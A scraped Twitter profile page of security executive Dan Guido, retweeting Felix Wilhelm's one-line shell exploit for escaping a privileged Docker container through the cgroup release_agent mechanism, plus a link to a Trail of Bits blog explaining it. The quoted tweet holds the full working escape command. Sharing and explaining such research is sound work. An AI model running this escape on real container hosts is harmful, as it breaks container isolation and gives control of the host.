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dguido's profile
Dan Guido
Dan Guido
Dan Guido
@dguido

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Dan Guido

@dguido

CEO @trailofbits, organizer @EmpireHacking, director @hack_secure. Open DMs.

Brooklyn, NY
trailofbits.com
Joined April 2008

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    1. Dan Guido‏ @dguido 19 Jul 2019
      • Report Tweet
      • Report NetzDG Violation

      Dan Guido Retweeted Felix Wilhelm

      This was such a fun exploit to untangle that we wrote up a blog about it.https://twitter.com/_fel1x/status/1151487051986087936 …

      Dan Guido added,

      Felix Wilhelm @_fel1x
      d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
      Show this thread
      1 reply 6 retweets 12 likes
      Show this thread
      Dan Guido‏ @dguido 19 Jul 2019
      • Report Tweet
      • Report NetzDG Violation

      Dan Guido Retweeted Trail of Bits

      Read a line-by-line breakdown and a walk through Linux system internals in "Understanding Docker container escapes"https://twitter.com/trailofbits/status/1152382932214042624 …

      Dan Guido added,

      Trail of Bits @trailofbits
      Understanding Docker container escapes http://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ …
      6:10 PM - 19 Jul 2019
      • 12 Retweets
      • 25 Likes
      • LG olymppa Marco Cova Grant Jamie 🏴󠁧󠁢󠁳󠁣󠁴󠁿🇪🇺 Mike Brown Scott Piper InsanityBit Varun Nair
      0 replies 12 retweets 25 likes

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